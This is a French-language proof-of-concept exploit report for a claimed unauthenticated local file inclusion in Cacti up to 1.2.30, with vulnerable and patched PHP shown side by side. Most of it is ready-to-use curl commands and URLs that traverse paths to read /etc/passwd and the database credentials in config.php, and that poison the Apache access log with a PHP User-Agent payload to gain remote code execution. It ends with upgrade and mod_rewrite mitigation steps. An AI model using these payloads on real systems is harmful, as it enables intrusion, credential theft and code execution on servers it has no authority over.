
Preuve de concept d'exploit pour CVE-2026-39938 : inclusion de fichier local non authentifiée dans Cacti <= 1.2.30, permettant la lecture arbitraire de fichiers et l'exécution de code à distance via empoisonnement des logs.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-39938 |
| Score CVSS | 9.8 (Critique) |
| Produit affecté | Cacti |
| Versions affectées | <= 1.2.30 |
| Version corrigée | 1.2.31 |
| Commit de correction | 9871f0c |
La vulnérabilité existe dans lib/rrd.php où le paramètre graph_theme est utilisé directement sans assainissement :
CODE VULNÉRABLE :
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
CODE CORRIGÉ :
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
Le problème : aucune validation contre les séquences de traversée de chemin ../, permettant aux attaquants de lire des fichiers arbitraires sans authentification.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
Résultat : Le contenu de /etc/passwd sera affiché dans la réponse.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
Résultat : Les identifiants de base de données (nom d'utilisateur, mot de passe) seront exposés.
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: <?php system('id'); ?>"
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
Résultat : La sortie de la commande (ex. uid=33(www-data)) sera affichée.
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
http://target-cacti/graph_image.php?local_graph_id=1
Avec l'en-tête : User-Agent: <?php system('id'); ?>
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
Rapport généré à des fins de recherche en sécurité Date : 27 juin 2026
| Point de terminaison | Paramètre | Exemple de charge utile |
|---|
/graph_image.php | graph_theme | ../../../../../../../etc/passwd |
/graph_image.php | graph_theme | ../../../../include/config.php |
/graph_image.php | graph_theme | ../../../../../../../var/log/apache2/access.log |